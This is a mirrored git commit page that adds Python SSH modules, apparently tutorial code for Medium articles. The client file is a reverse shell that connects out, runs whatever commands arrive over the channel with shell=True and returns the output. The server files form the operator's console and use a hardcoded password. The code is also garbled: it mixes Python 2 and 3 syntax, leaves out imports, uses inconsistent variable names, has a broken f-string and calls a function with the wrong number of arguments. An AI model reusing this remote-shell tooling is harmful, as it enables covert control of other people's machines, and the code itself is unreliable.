mirror of
https://github.com/autistic-symposium/web3-starter-py.git
synced 2025-05-17 22:20:22 -04:00
add ssh modules
This commit is contained in:
parent
3a4a977fed
commit
8c7ed08a62
4 changed files with 155 additions and 0 deletions
63
Medium_articles/python_ssh_modules/paramiko_example.py
Normal file
63
Medium_articles/python_ssh_modules/paramiko_example.py
Normal file
|
@ -0,0 +1,63 @@
|
||||||
|
import getopt
|
||||||
|
import paramiko
|
||||||
|
import socket
|
||||||
|
import threading
|
||||||
|
|
||||||
|
def main():
|
||||||
|
if not len(sys.argv[1:]):
|
||||||
|
print('Usage: ssh_server.py <SERVER> <PORT>')
|
||||||
|
return
|
||||||
|
|
||||||
|
# Create a socket object.
|
||||||
|
server = sys.argv[1]
|
||||||
|
ssh_port = int(sys.argv[2])
|
||||||
|
|
||||||
|
try:
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||||
|
sock.bind((server, ssh_port))
|
||||||
|
sock.listen(100)
|
||||||
|
print('[+] Listening for connection ...')
|
||||||
|
client, addr = sock.accept()
|
||||||
|
except Exception, e:
|
||||||
|
print(f'[-] Connection Failed: {str(e)}')
|
||||||
|
return
|
||||||
|
print('[+] Connection Established!')
|
||||||
|
|
||||||
|
# Creating a paramiko object.
|
||||||
|
try:
|
||||||
|
Session = paramiko.Transport(client)
|
||||||
|
Session.add_server_key(HOST_KEY)
|
||||||
|
paramiko.util.log_to_file('filename.log')
|
||||||
|
server = Server()
|
||||||
|
try:
|
||||||
|
Session.start_server(server=server)
|
||||||
|
except paramiko.SSHException, x:
|
||||||
|
print('[-] SSH negotiation failed.')
|
||||||
|
return
|
||||||
|
chan = Session.accept(10)
|
||||||
|
print('[+] Authenticated!')
|
||||||
|
chan.send('Welcome to Buffy's SSH')
|
||||||
|
while 1:
|
||||||
|
try:
|
||||||
|
command = raw_input('Enter command: ').strip('\n')
|
||||||
|
if command != 'exit':
|
||||||
|
chan.send(command)
|
||||||
|
print chan.recv(1024) + '\n'
|
||||||
|
else:
|
||||||
|
chan.send('exit')
|
||||||
|
print('[*] Exiting ...')
|
||||||
|
session.close()
|
||||||
|
raise Exception('exit')
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
session.close()
|
||||||
|
except Exception, e:
|
||||||
|
print(f'[-] Caught exception: {str(e)}')
|
||||||
|
try:
|
||||||
|
session.close()
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
17
Medium_articles/python_ssh_modules/server_example.py
Normal file
17
Medium_articles/python_ssh_modules/server_example.py
Normal file
|
@ -0,0 +1,17 @@
|
||||||
|
HOST_KEY = paramiko.RSAKey(filename='test_rsa.key')
|
||||||
|
USERNAME = 'buffy'
|
||||||
|
PASSWORD = 'killvampires'
|
||||||
|
|
||||||
|
class Server(paramiko.ServerInterface):
|
||||||
|
def __init__(self):
|
||||||
|
self.event = threading.Event()
|
||||||
|
|
||||||
|
def check_channel_request(self, kind, chanid):
|
||||||
|
if kind == 'session':
|
||||||
|
return paramiko.OPEN_SUCCEEDED
|
||||||
|
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
|
||||||
|
|
||||||
|
def check_auth_password(self, username, password):
|
||||||
|
if (username == USERNAME) and (password == PASSWORD):
|
||||||
|
return paramiko.AUTH_SUCCESSFUL
|
||||||
|
return paramiko.AUTH_FAILED
|
16
Medium_articles/python_ssh_modules/ssh_client.py
Normal file
16
Medium_articles/python_ssh_modules/ssh_client.py
Normal file
|
@ -0,0 +1,16 @@
|
||||||
|
def ssh_client(ip, port, user, passwd):
|
||||||
|
|
||||||
|
client = paramiko.SSHClient()
|
||||||
|
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||||
|
client.connect(ip, port=port, username=user, password=passwd)
|
||||||
|
ssh_session = client.get_transport().open_session()
|
||||||
|
if ssh_session.active:
|
||||||
|
print(ssh_session.recv(1024))
|
||||||
|
while 1:
|
||||||
|
command = ssh_session.recv(1024)
|
||||||
|
try:
|
||||||
|
cmd_output = subprocess.check_output(command, shell=True)
|
||||||
|
ssh_session.send(cmd_output)
|
||||||
|
except Exception, e:
|
||||||
|
ssh_session.send(str(e))
|
||||||
|
client.close()
|
59
Medium_articles/python_ssh_modules/usage_example.py
Normal file
59
Medium_articles/python_ssh_modules/usage_example.py
Normal file
|
@ -0,0 +1,59 @@
|
||||||
|
import paramiko
|
||||||
|
import sys
|
||||||
|
import getopt
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
if not len(sys.argv[1:]):
|
||||||
|
usage()
|
||||||
|
IP = '0.0.0.0'
|
||||||
|
USER = ''
|
||||||
|
PASSWORD = ''
|
||||||
|
KEY = ''
|
||||||
|
COMMAND = ''
|
||||||
|
PORT = 0
|
||||||
|
try:
|
||||||
|
opts = getopt.getopt(sys.argv[2:],"p:u:a:i:c:", \
|
||||||
|
['PORT', 'USER', 'PASSWORD', 'KEY', 'COMMAND'])[0]
|
||||||
|
except getopt.GetoptError as err:
|
||||||
|
print str(err)
|
||||||
|
usage()
|
||||||
|
IP = sys.argv[1]
|
||||||
|
print(f'[*] Initializing connection to {IP}')
|
||||||
|
# Handle the options and arguments.
|
||||||
|
# TODO: add KeyError error handler.
|
||||||
|
for t in opts:
|
||||||
|
if t[0] in ('-a'):
|
||||||
|
PASSWORD = t[1]
|
||||||
|
elif t[0] in ('-i'):
|
||||||
|
KEY = t[1]
|
||||||
|
elif t[0] in ('-c'):
|
||||||
|
COMMAND = t[1]
|
||||||
|
elif t[0] in ('-p'):
|
||||||
|
PORT = int(t[1])
|
||||||
|
elif t[0] in ('-u'):
|
||||||
|
USER = t[1]
|
||||||
|
else:
|
||||||
|
print('This option does not exist!')
|
||||||
|
usage()
|
||||||
|
|
||||||
|
|
||||||
|
if USER:
|
||||||
|
print(f'[*] User set to {USER}')
|
||||||
|
if PORT:
|
||||||
|
print(f'[*] The port to be used is PORT}')
|
||||||
|
if PASSWORD:
|
||||||
|
print(f'[*] Password length {len(PASSWORD)} was submitted.')
|
||||||
|
if KEY:
|
||||||
|
print(f'[*] The key at {KEY} will be used.')
|
||||||
|
if COMMAND:
|
||||||
|
print(f'[*] Executing the command {COMMAND} in the host...')
|
||||||
|
else:
|
||||||
|
print('You need to specify the command to the host.')
|
||||||
|
usage()
|
||||||
|
# Start the client.
|
||||||
|
ssh_client(IP, PORT, USER, PASSWORD, KEY, COMMAND)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
Loading…
Add table
Add a link
Reference in a new issue